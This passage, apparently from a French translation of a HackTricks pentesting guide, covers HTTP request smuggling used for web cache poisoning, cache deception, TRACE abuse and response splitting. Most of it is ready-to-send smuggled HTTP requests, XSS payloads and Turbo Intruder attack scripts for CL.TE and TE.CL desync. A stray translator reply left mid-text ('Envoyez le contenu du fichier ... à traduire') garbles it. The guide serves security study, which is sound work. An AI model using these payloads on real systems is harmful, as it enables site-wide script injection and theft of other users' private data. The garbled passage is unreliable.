Host: vulnerable-website.com

Résultats :

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Dans ce scĂ©nario, la requĂȘte d'un utilisateur pour un fichier JavaScript est dĂ©tournĂ©e. L'attaquant peut potentiellement compromettre l'utilisateur en renvoyant du JavaScript malveillant en rĂ©ponse.

Exploiter Web Cache Poisoning via HTTP Request Smuggling

Le Web cache poisoning peut ĂȘtre exĂ©cutĂ© si un composant de l'infrastructure front-end met en cache du contenu, gĂ©nĂ©ralement pour amĂ©liorer les performances. En manipulant la rĂ©ponse du serveur, il est possible de poison the cache.

PrĂ©cĂ©demment, nous avons vu comment les rĂ©ponses du serveur pouvaient ĂȘtre altĂ©rĂ©es pour renvoyer une erreur 404 (voir Basic Examples). De la mĂȘme façon, il est possible de tromper le serveur pour qu'il renvoie le contenu de /index.html en rĂ©ponse Ă  une requĂȘte pour /static/include.js. Par consĂ©quent, le contenu de /static/include.js est remplacĂ© dans le cache par celui de /index.html, rendant /static/include.js inaccessible aux utilisateurs, ce qui peut entraĂźner un Denial of Service (DoS).

Cette technique devient particuliĂšrement puissante si une Open Redirect vulnerability est dĂ©couverte ou s'il existe une on-site redirect to an open redirect. De telles vulnĂ©rabilitĂ©s peuvent ĂȘtre exploitĂ©es pour remplacer le contenu mis en cache de /static/include.js par un script contrĂŽlĂ© par l'attaquant, permettant essentiellement une attaque Cross-Site Scripting (XSS) Ă  grande Ă©chelle contre tous les clients demandant le /static/include.js mis Ă  jour.

Ci-dessous une illustration de l'exploitation de cache poisoning combined with an on-site redirect to open redirect. L'objectif est de modifier le contenu en cache de /static/include.js pour servir du code JavaScript contrÎlé par l'attaquant :

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Remarquez la requĂȘte intĂ©grĂ©e ciblant /post/next?postId=3. Cette requĂȘte sera redirigĂ©e vers /post?postId=4, en utilisant la Host header value pour dĂ©terminer le domaine. En modifiant le Host header, l'attaquant peut rediriger la requĂȘte vers son domaine (on-site redirect to open redirect).

AprĂšs un socket poisoning rĂ©ussi, une GET request pour /static/include.js doit ĂȘtre initiĂ©e. Cette requĂȘte sera contaminĂ©e par la prĂ©cĂ©dente requĂȘte on-site redirect to open redirect et rĂ©cupĂ©rera le contenu du script contrĂŽlĂ© par l'attaquant.

Par la suite, toute requĂȘte pour /static/include.js servira le contenu mis en cache du script de l'attaquant, lançant ainsi une attaque XSS Ă  grande Ă©chelle.

Using HTTP request smuggling to perform web cache deception

Quelle est la différence entre web cache poisoning et web cache deception ?

  • Dans web cache poisoning, l'attaquant fait en sorte que l'application stocke du contenu malveillant dans le cache, et ce contenu est servi depuis le cache aux autres utilisateurs de l'application.
  • Dans web cache deception, l'attaquant fait en sorte que l'application stocke du contenu sensible appartenant Ă  un autre utilisateur dans le cache, puis l'attaquant rĂ©cupĂšre ce contenu depuis le cache.

L'attaquant forge une smuggled request qui récupÚre du contenu sensible spécifique à un utilisateur. Considérez l'exemple suivant:

markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Si cette requĂȘte dĂ©tournĂ©e empoisonne une entrĂ©e de cache destinĂ©e au contenu statique (par ex., /someimage.png), les donnĂ©es sensibles de la victime provenant de /private/messages pourraient ĂȘtre mises en cache sous l'entrĂ©e du contenu statique. Par consĂ©quent, l'attaquant pourrait potentiellement rĂ©cupĂ©rer ces donnĂ©es sensibles mises en cache.

Abuser TRACE via HTTP Request Smuggling

In this post il est suggĂ©rĂ© que si le serveur a la mĂ©thode TRACE activĂ©e, il pourrait ĂȘtre possible de l'abuser avec un HTTP Request Smuggling. Ceci est dĂ» au fait que cette mĂ©thode renvoie tout header envoyĂ© au serveur comme partie du body de la rĂ©ponse. Par exemple:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Envoyez le contenu du fichier src/pentesting-web/http-request-smuggling/README.md à traduire. Je préserverai exactement le markdown, les tags, les chemins et le code selon vos consignes.

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Un exemple sur la façon d'abuser de ce comportement serait de smuggle first a HEAD request. Cette requĂȘte recevra en rĂ©ponse uniquement les headers d'une requĂȘte GET (Content-Type parmi eux). Et smuggle immediately after the HEAD a TRACE request, which will be reflecting the sent data.
Comme la rĂ©ponse HEAD contiendra un en-tĂȘte Content-Length, la response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data dans la rĂ©ponse.
Cette rĂ©ponse sera envoyĂ©e Ă  la requĂȘte suivante sur la connexion, donc cela pourrait ĂȘtre used in a cached JS file for example to inject arbitrary JS code.

Abuser TRACE via HTTP Response Splitting

La lecture de this post suggĂšre une autre façon d'abuser de la mĂ©thode TRACE. Comme commentĂ©, en smuggling une requĂȘte HEAD et une requĂȘte TRACE, il est possible de control some reflected data dans la rĂ©ponse Ă  la requĂȘte HEAD. La longueur du corps de la requĂȘte HEAD est essentiellement indiquĂ©e dans l'en-tĂȘte Content-Length et est formĂ©e par la rĂ©ponse Ă  la requĂȘte TRACE.

Donc, la nouvelle idĂ©e serait que, connaissant ce Content-Length et les donnĂ©es fournies dans la rĂ©ponse TRACE, il est possible de faire en sorte que la rĂ©ponse TRACE contienne une rĂ©ponse HTTP valide aprĂšs le dernier octet indiquĂ© par le Content-Length, permettant Ă  un attaquant de contrĂŽler complĂštement la requĂȘte vers la rĂ©ponse suivante (ce qui pourrait ĂȘtre utilisĂ© pour effectuer un cache poisoning).

Exemple:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Générera ces réponses (notez comment la réponse HEAD a un Content-Length faisant que la réponse TRACE fait partie du corps de la HEAD et qu'une fois que le Content-Length de la HEAD prend fin, une réponse HTTP valide est smuggled):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Exploitation de HTTP Request Smuggling avec HTTP Response Desynchronisation

Vous avez trouvé une vulnérabilité HTTP Request Smuggling et vous ne savez pas comment l'exploiter ? Essayez ces autres méthodes d'exploitation :

HTTP Response Smuggling / Desync

Autres techniques de HTTP Request Smuggling

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

Source: https://hipotermia.pw/bb/http-desync-idor

python
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

De: https://hipotermia.pw/bb/http-desync-account-takeover

python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Outils

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks